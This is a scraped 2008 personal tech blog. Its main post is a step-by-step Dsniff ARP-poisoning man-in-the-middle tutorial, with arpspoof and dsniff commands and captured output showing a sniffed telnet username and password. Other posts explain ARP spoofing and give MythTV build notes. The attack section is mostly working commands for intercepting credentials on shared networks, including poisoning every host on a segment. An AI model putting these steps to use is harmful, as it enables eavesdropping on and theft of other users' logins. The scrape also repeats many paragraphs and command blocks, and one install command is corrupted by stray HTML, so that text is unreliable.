A lot of people setup blank pass phrases so they can ssh into machines without typing the password. This is a much better way.
http://en.wikipedia.org/wiki/Ssh-agent
Sunday, October 5, 2008
Saturday, October 4, 2008
Dsniff ARP MITM Attack
I'm going to walk through the steps involved with this attack. I'm doing this from a Ubuntu 8.04 CD so I don't skip anything.
First we need modify the repositories. I'm using sudo -i which switches me to root so I don't have type sudo before every command.
I uncommented the following lines at the end of the file.
Then install dsniff
Enabling IP forwarding will allow us to forward the traffic to the actually router otherwise we would effectively kill our target's internet connection. We don't want to do that we want to forward the traffic and sniff it looking for usernames & passwords.
Now to poison everyone on our network. If your machine can't handle the traffic on this network segment then you could possible slow it down or kill everyones internet. Arpsoof is part of the dsniff package.
We could do a single target which would be a bit more subtle with the following
You should see packets similar to the following.
If I look on my XP box at my arp cache.
Notice the router (172.16.0.1) has the Ubuntu's MAC address.
Now we need something to sniff it. This is where dsniff comes in.
The first line is the usrname (dj) and then the password (test). The rest are the command I was typing. One more reason you shouldn't use telnet because it's a clear text protocol, nothing is encrypted.
Pess ctrl+c to kill arpspoof & dsniff. You'll notice arpspoof will actually fix the target's ARP table so we don't break their internet.
First we need modify the repositories. I'm using sudo -i which switches me to root so I don't have type sudo before every command.
ubuntu@ubuntu:~$ sudo -i
root@ubuntu:~# vi /etc/apt/sources.list
I uncommented the following lines at the end of the file.
deb http://archive.ubuntu.com/ubuntu hardy universe
deb-src http://archive.ubuntu.com/ubuntu hardy universe
deb http://archive.ubuntu.com/ubuntu hardy-updates universe
deb-src http://archive.ubuntu.com/ubuntu hardy-updates universe
deb http://archive.ubuntu.com/ubuntu hardy-security universe
deb-src http://archive.ubuntu.com/ubuntu hardy-security universe
Then install dsniff
root@ubuntu:~# apt-get -y install dsniff
Enabling IP forwarding will allow us to forward the traffic to the actually router otherwise we would effectively kill our target's internet connection. We don't want to do that we want to forward the traffic and sniff it looking for usernames & passwords.
root@ubuntu:~# cat /proc/sys/net/ipv4/ip_forward
0
root@ubuntu:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@ubuntu:~# !cat
cat /proc/sys/net/ipv4/ip_forward
1
Now to poison everyone on our network. If your machine can't handle the traffic on this network segment then you could possible slow it down or kill everyones internet. Arpsoof is part of the dsniff package.
root@ubuntu:~# arpspoof -i eth0 172.16.0.1
We could do a single target which would be a bit more subtle with the following
root@ubuntu:~# arpspoof -i eth0 -t 172.16.0.10 172.16.0.1
You should see packets similar to the following.
0:c:29:e5:f3:80 ff:ff:ff:ff:ff:ff 0806 42: arp reply 172.16.0.1 is-at 0:c:29:e5:f3:80
0:c:29:e5:f3:80 ff:ff:ff:ff:ff:ff 0806 42: arp reply 172.16.0.1 is-at 0:c:29:e5:f3:80
If I look on my XP box at my arp cache.
C:\Documents and Settings\Administrator>arp -a
Interface: 172.16.0.10 --- 0x2
Internet Address Physical Address Type
172.16.0.1 00-0c-29-e5-f3-80 dynamic
172.16.0.106 00-0c-29-e5-f3-80 dynamic
Notice the router (172.16.0.1) has the Ubuntu's MAC address.
Now we need something to sniff it. This is where dsniff comes in.
root@ubuntu:~# dsniff -cmni eth0
dsniff: listening on eth0
-----------------
10/04/08 16:06:37 tcp 172.16.0.10.1805 -> 172.16.0.1.23 (telnet)
dj
test
ls
echo w00t
exit
The first line is the usrname (dj) and then the password (test). The rest are the command I was typing. One more reason you shouldn't use telnet because it's a clear text protocol, nothing is encrypted.
Pess ctrl+c to kill arpspoof & dsniff. You'll notice arpspoof will actually fix the target's ARP table so we don't break their internet.
ARP Spoofing/Posining MITM
This is going to be quick overview about this man in the middle attack and then I'll write a couple of tutorials that explain how to perform it. I'll also include a tutorial that shows how you can safely surf the web on public wifi spots without worrying about someone else stealing your password.
ARP (Adresss Resolution Protocol)
Computers have 2 addresses. A layer two MAC address and a layer three IP address. When a computer wants to send packets it's needs to know the MAC address of the destination. This is where ARP comes in.
If the computer doesn't know the MAC address it will send a broadcast packet out asking who has this IP address? The node that has it will respond with a unicast packet saying that it's IP address is tied to this MAC address. Below is a screenshot of wireshark capturing some ARP packets.
Once a computer recieves a ARP packet it caches it in it's ARP table. The table is a simple mapping between IP & MAC addresses. This is also sometimes referred to as the ARP cache.
ARP Attack
What if a computer spoofs an ARP packet with their MAC address and uses a different IP address? One of the problems with ARP is there is no authentication. If a computer receives a new ARP packet it simply updates it's ARP table.
I'll give you an example. Lets say 2 laptops are on a public wifi spot surfing the web. One is running XP and the other some flavor of Linux. Each of these laptops would probably know the default gateway's IP & MAC address. If the Linux laptop started telling the XP Laptop that the default gateway's MAC address was it's own then the XP laptop would start forwarding it's traffic for the internet to the Linux laptop.
Now the Linux laptop is the "Man in the Middle" and he can see the XP laptop's traffic. I'll get into more details when I write the tutorials that explain how to perform this attack.
ARP (Adresss Resolution Protocol)
Computers have 2 addresses. A layer two MAC address and a layer three IP address. When a computer wants to send packets it's needs to know the MAC address of the destination. This is where ARP comes in.
If the computer doesn't know the MAC address it will send a broadcast packet out asking who has this IP address? The node that has it will respond with a unicast packet saying that it's IP address is tied to this MAC address. Below is a screenshot of wireshark capturing some ARP packets.
Once a computer recieves a ARP packet it caches it in it's ARP table. The table is a simple mapping between IP & MAC addresses. This is also sometimes referred to as the ARP cache.dj@dj-server:~$ arp -a
? (172.16.0.1) at 00:14:F1:61:01:C0 [ether] on eth0
? (172.16.0.10) at 00:1A:92:5B:91:9D [ether] on eth0
ARP Attack
What if a computer spoofs an ARP packet with their MAC address and uses a different IP address? One of the problems with ARP is there is no authentication. If a computer receives a new ARP packet it simply updates it's ARP table.
I'll give you an example. Lets say 2 laptops are on a public wifi spot surfing the web. One is running XP and the other some flavor of Linux. Each of these laptops would probably know the default gateway's IP & MAC address. If the Linux laptop started telling the XP Laptop that the default gateway's MAC address was it's own then the XP laptop would start forwarding it's traffic for the internet to the Linux laptop.
Now the Linux laptop is the "Man in the Middle" and he can see the XP laptop's traffic. I'll get into more details when I write the tutorials that explain how to perform this attack.
Sunday, October 14, 2007
Ubuntu Mythtv
For some reason the frontend wouldn't connect to the backend after a reboot. I just upgraded mythtv 0.20.2 and found the backend was running w/
pgrep -l myth
Solution was to make sure the user mythtv had owned the recording directory
chown -R mythtv.mythtv /tv
pgrep -l myth
Solution was to make sure the user mythtv had owned the recording directory
chown -R mythtv.mythtv /tv
Wednesday, August 22, 2007
Centos 5 Mythtv 0.20 Themes
MythTV is "themeable", meaning that the visual appearance of the program can be modified by the user without re-compiling or altering the program functionality. Download the MythThemes tarball from the website and untar it:
$ cd ~/myththemes-0.20
$ qmake myththemes.pro
$ su -
# make install
# exit
$
The theme will now be available in the mythfrontend Appearance section.
http://www.mythtv.org/docs/mythtv-HOWTO-11.html#ss11.2Mythtv Plugins on Centos 5
tar xvjf mythplugins-0.20a.tar.bz2
cd mythplugins-0.20a
./configure --enable-all
http://www.mythtv.org/docs/mythtv-HOWTO-17.html
http://www.underbit.com/products/mad
I had to install all 3 by hand, it wasn't finding the libmad or id3tag even though there was an rpm already installed
I also had to do FLAC & CD Paranoia by hand. I'm probably just missing a variable which is why it won't find these packages. For CD Paranoia I had to use release 10. 9 kept giving me a make error for some reason.
cd /tmp/mythplugins-0.20a
./configure --enable-all
qmake mythplugins
make -j 2
make install
This didn't install mythmusic, flac was giving me an error.
I make uninstalled flac and reinstalled it with yum.
then the following worked
http://www.mythtv.org/docs/mythtv-HOWTO-17.html
cd mythplugins-0.20a
./configure --enable-all
http://www.mythtv.org/docs/mythtv-HOWTO-17.html
Download FLAC from http://flac.sourceforge.net and install:
yum -y install cdparanoia
$ cd flac-1.1.2
$ ./configure
$ make
$ su
# make install
# exit
$
http://www.underbit.com/products/mad
I had to install all 3 by hand, it wasn't finding the libmad or id3tag even though there was an rpm already installed
I also had to do FLAC & CD Paranoia by hand. I'm probably just missing a variable which is why it won't find these packages. For CD Paranoia I had to use release 10. 9 kept giving me a make error for some reason.
cd /tmp/mythplugins-0.20a
./configure --enable-all
qmake mythplugins
make -j 2
make install
This didn't install mythmusic, flac was giving me an error.
I make uninstalled flac and reinstalled it with yum.
then the following worked
http://www.mythtv.org/docs/mythtv-HOWTO-17.html
$ cd ~/mythplugins-0.20
$ ./configure --disable-all --enable-mythmusic --enable-fftw --enable-sdl --enable-aac
$ qmake mythplugins.pro
$ make
$ su
# make install
# exit
Complete ting the mythweb installation
http://www.mythtv.org/docs/mythtv-HOWTO-14.html
Tuesday, August 21, 2007
Centos 5 Mythtv 0.20
http://www.mythtv.org/modules.php?name=MythInstall
http://www.mythtv.org/modules.php?name=Downloads
cd /tmp
tar xvjf myhtv-0.20.tar.bz2
cd mythtv-0.20
./configure
make -j 2
make install
cd database
mysql -u root -p < face="arial">mkdir /tv
chown dj.home /tv
rpm -Uvh ftp://ftp.pbone.net/mirror/ftp.centos.org/5.0/updates/i386/RPMS/qt-MySQL-3.3.6-21.el5.i386.rpm
mythtv-setup
mythfilldatabase
mythbackend
mythfrontend
http://www.mythtv.org/modules.php?name=Downloads
echo /usr/local/lib >> /etc/ld.so.conf
ldconfig
cd /tmp
tar xvjf myhtv-0.20.tar.bz2
cd mythtv-0.20
./configure
make -j 2
make install
cd database
mysql -u root -p < face="arial">mkdir /tv
chown dj.home /tv
rpm -Uvh ftp://ftp.pbone.net/mirror/ftp.centos.org/5.0/updates/i386/RPMS/qt-MySQL-3.3.6-21.el5.i386.rpm
mythtv-setup
mythfilldatabase
mythbackend
mythfrontend
Subscribe to:
Posts (Atom)